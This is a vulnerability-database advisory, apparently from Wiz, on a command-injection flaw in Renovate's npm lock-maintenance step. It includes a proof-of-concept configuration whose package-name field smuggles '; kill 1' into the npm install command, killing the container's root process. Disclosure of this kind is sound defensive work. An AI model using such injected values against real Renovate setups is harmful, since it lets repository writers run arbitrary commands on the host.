
Cloud Vulnerability DB
A community-led vulnerabilities database
The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}package.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}package-lock.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}kill 1, terminating the root process of the container.NOTE This specific proof of concept relies on the introduction of the
overrideDatasourceandoverridePackageNameconfiguration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."